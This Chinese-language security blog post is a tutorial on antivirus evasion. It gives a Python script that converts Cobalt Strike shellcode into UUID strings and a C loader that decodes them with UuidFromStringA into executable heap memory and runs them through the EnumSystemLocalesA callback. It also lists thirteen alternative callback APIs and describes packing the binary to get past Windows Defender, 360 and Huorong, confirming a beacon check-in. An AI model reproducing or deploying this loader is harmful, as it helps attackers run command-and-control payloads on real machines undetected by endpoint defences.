UUID結(jié)合回調(diào)函數(shù)免殺初探
烏鴉安全的技術(shù)文章僅供參考,此文所提供的信息只為網(wǎng)絡(luò)安全人員對(duì)自己所負(fù)責(zé)的網(wǎng)站、服務(wù)器等(包括但不限于)進(jìn)行檢測(cè)或維護(hù)參考,未經(jīng)授權(quán)請(qǐng)勿利用文章中的技術(shù)資料對(duì)任何計(jì)算機(jī)系統(tǒng)進(jìn)行入侵操作。利用此文所提供的信息而造成的直接或間接后果和損失,均由使用者本人負(fù)責(zé)。
烏鴉安全擁有對(duì)此文章的修改、刪除和解釋權(quán)限,如轉(zhuǎn)載或傳播此文章,需保證文章的完整性,未經(jīng)允許,禁止轉(zhuǎn)載!
本文所提供的工具僅用于學(xué)習(xí),禁止用于其他,請(qǐng)?jiān)?4小時(shí)內(nèi)刪除工具文件!!!
本文作者:zedxx10,本文已獲得作者授權(quán)!
1. 前言
話不多說 今年目標(biāo)發(fā)10篇免殺的小技巧!ok,今天給分享的是2018年就用在hvv的免殺技巧了:uuid+結(jié)合c語言的回調(diào)函數(shù)+殼免殺,寫入內(nèi)存進(jìn)行免殺。
參考文章?
https://research.nccgroup.com/2021/01/23/rift-analysing-a-lazarus-shellcode-execution-method本文在參考文章基礎(chǔ)之上做了一些改進(jìn)。
2. UUID是啥
UUID: 通用唯一標(biāo)識(shí)符 ( Universally Unique Identifier ), 對(duì)于所有的UUID它可以保證在空間和時(shí)間上的唯一性.。它是通過MAC地址, 時(shí)間戳, 命名空間, 隨機(jī)數(shù), 偽隨機(jī)數(shù)來保證生成ID的唯一性, 有著固定的大小(?128 bit ).。它的唯一性和一致性特點(diǎn)使得可以無需注冊(cè)過程就能夠產(chǎn)生一個(gè)新的UUID。?UUID可以被用作多種用途, 既可以用來短時(shí)間內(nèi)標(biāo)記一個(gè)對(duì)象, 也可以可靠的辨別網(wǎng)絡(luò)中的持久性對(duì)象。
總結(jié)一下就是你的mac地址 ipv4都是在內(nèi)存里面的,以二進(jìn)制的方式寫入內(nèi)存也是理所當(dāng)然的(這里可以思考一下是否可以把shellcode轉(zhuǎn)成mac地址的方式或者ipv4的格式寫入內(nèi)存)
3. 免殺流程
3.1 cs4.3生成x64的payload
這里我就不截圖了,很簡單!
3.2 將payload轉(zhuǎn)換為uuid的格式
網(wǎng)上有很多python寫的,但是很多不加\x00補(bǔ)齊,容易導(dǎo)致后期編譯程序報(bào)錯(cuò)。使用下面的代碼可以直接自動(dòng)補(bǔ)齊:
buf?=?b''''''?#shellcode
import??uuid
def?convertToUUID(shellcode):
????if?len(shellcode)%16?!=0:
????????print("\n[*]?length:",len(shellcode)+(16-(len(shellcode)%16)))
????????addNullbyte?=?b"\x00"?*?(16-(len(shellcode)%16))
????????shellcode?+=?addNullbyte
????uuids?=?[]
????for?i?in?range(0,len(shellcode),16):
????????uuidString?=?str(uuid.UUID(bytes_le=shellcode[i:i+16]))
????????uuids.append(uuidString.replace("'","\""))
????return?uuids
u?=?convertToUUID(buf)
print(str(u).replace("'","\""))3.uuid寫入內(nèi)存(重點(diǎn)來了)
首先講一下普通shellcode加載:首先正常情況就是寫入內(nèi)存,通常情況下是通過使用windows的api將shellcode加載的。但是大部分敏感參數(shù)早就是上了殺軟的單名單,甚至包括一些執(zhí)行權(quán)限,以及前幾年繞過沙箱的sleep()函數(shù)等。可以說你敢用殺軟就敢殺, 所以常規(guī)的加載方式是肯定不行的!
簡單講一下回調(diào)函數(shù)是什么:?首先使用回調(diào)函數(shù)必須要知道函數(shù)指針,這里我就不詳細(xì)解了,不懂需要去看c、c++的指針和回調(diào)函數(shù)詳解。
回調(diào)函數(shù)的定義:?通過函數(shù)指針調(diào)用的函數(shù)就是回調(diào)函數(shù),就是你把函數(shù)的指針作為參數(shù)傳遞給另一個(gè)參數(shù)。這個(gè)指針就被用來調(diào)用所指向的函數(shù)時(shí)也就callback function。也就是說,有些庫函數(shù)要求我們程序需要先給它傳遞一個(gè)參數(shù),才能實(shí)現(xiàn)功能,大部分的庫函數(shù)是不需要傳參數(shù)。
再打個(gè)比方:在酒店,酒店提供叫醒服務(wù),可以通過打電話或者派遣服務(wù)員又或者其它的方式,這個(gè)叫醒的行為我們可以理解為函數(shù)庫。選擇叫醒方式是我們自己定的,我們會(huì)把我們想要的方式反饋給酒店,這個(gè)反饋的行為就是回調(diào)函數(shù)!
#include?
#include?
#include?
#pragma?comment(lib,?"Rpcrt4.lib")
//將轉(zhuǎn)換后的shellcode放入
const?char*?uuids[]?=
{
"e48348fc-e8f0-00c8-0000-415141505251",
"d2314856-4865-528b-6048-8b5218488b52",?
"322e3231-3931-0000-0000-000000000000",?
};
int?main()
{
HANDLE?hc?=?HeapCreate(HEAP_CREATE_ENABLE_EXECUTE,?0,?0);//在進(jìn)程的虛擬地址空間中保留空間
void*?ha?=?HeapAlloc(hc,?0,?0x100000);//申請(qǐng)內(nèi)存
DWORD_PTR?hptr?=?(DWORD_PTR)ha;
int?elems?=?sizeof(uuids)?/?sizeof(uuids[0]);
for?(int?i?=?0;?i?????RPC_STATUS?status?=?UuidFromStringA((RPC_CSTR)uuids[i],?(UUID*)hptr);//UUID轉(zhuǎn)換為原來的shellcode寫入內(nèi)存
????if?(status?!=?RPC_S_OK)?{
????????printf("UuidFromStringA()?!=?S_OK\n");
????????CloseHandle(ha);
????????return?-1;
????}
????hptr?+=?16;
}
printf("[*]?Hexdump:?");
for?(int?i?=?0;?i?16;?i++)?{
????printf("%02X?",?((unsigned?char*)ha)[i]);
}
EnumSystemLocalesA((LOCALE_ENUMPROCA)ha,?0);//枚舉操作系統(tǒng)上安裝或支持的語言環(huán)境
CloseHandle(ha);
return?0;
}4. 回調(diào)函數(shù)進(jìn)行shellcode注入
通過回調(diào)函數(shù)進(jìn)行shellcode注入,支持以下13種方法:
1.?EnumTimeFormatsA
2.??EnumWindows
3.??EnumDesktopWindows
4.??EnumDateFormatsA
5.??EnumChildWindows
6.?EnumThreadWindows
7.??EnumSystemLocalesA
8.??EnumSystemGeoID
9.?EnumSystemLanguageGroupsA
10.??EnumUILanguagesA
11.??EnumSystemCodePagesA
12.??EnumDesktopsW
13.??EnumSystemCodePagesW也就是說上面的代碼中的EnumSystemLocalesA是可以換成列舉的13種方法的任意一種,但是要注意:不是直接替換函數(shù)需要對(duì)照函數(shù)的參數(shù)來修改,需要參考庫函數(shù)的格式。
代碼就不多說了展示一下編譯的配置吧 如果vs的編譯有問題執(zhí)行也會(huì)有問題,這里是x64 debug 代碼生成參考:

鼠標(biāo)右鍵點(diǎn)擊main.cpp選擇屬性,運(yùn)行庫選擇錯(cuò)誤會(huì)導(dǎo)致有些系統(tǒng)報(bào)錯(cuò)dll錯(cuò)誤。
5. 免殺效果
結(jié)論:生成的exe會(huì)被?windows defender攔截查殺(火絨和360是ok的)
5.1 Bypass 360

5.2 Bypass火絨

5.3 CS上線測(cè)試

cs正常上線
5.4 Bypass Windows Defender
今天必須把windows defender過了,這里采用加殼的方式進(jìn)行混淆:
使用se的殼(加密區(qū)域全部選擇默認(rèn)的 同理會(huì)匯編的師傅可以嘗試修改一些選項(xiàng))

沒加殼之前 直接被windows defender直接查殺:

加殼之后效果展示(火絨和360都未報(bào)毒,注意此處過windows defender僅僅只是靜態(tài),動(dòng)態(tài)還是不行的,依舊被查殺)

所以我通過修改了原有代碼,這里的我不會(huì)展示修改之后的代碼,方法很簡單就留給各位師傅自己思考了,由于不涉及過于底層的函數(shù),就當(dāng)圖個(gè)樂看看吧!這是修改代碼之后編譯+殼,有趣的是純編譯之后靜態(tài)的windows defender也過了,加殼之后動(dòng)靜都是可以過的,具體代碼需要自己思考,一個(gè)很小的細(xì)節(jié)就可以成功過掉了!

6. 總結(jié)
360、火絨之類的,個(gè)人的觀點(diǎn):屬于比較low的殺軟了!玩笑話就是有手就行,但是針對(duì)edr或者企業(yè)級(jí)殺軟,上面那些伎倆遠(yuǎn)遠(yuǎn)不夠,還需要將底層的東西學(xué)會(huì),免殺的方式有很多!但個(gè)人建議還是不要使用工具,多敲代碼(c語言是必須要會(huì)的),多看關(guān)于api和內(nèi)核的書(深入解析windows操作系統(tǒng)第七卷), 也推薦大家學(xué)習(xí)go和nim語言,之后應(yīng)該會(huì)出一個(gè)nim或者go的免殺。
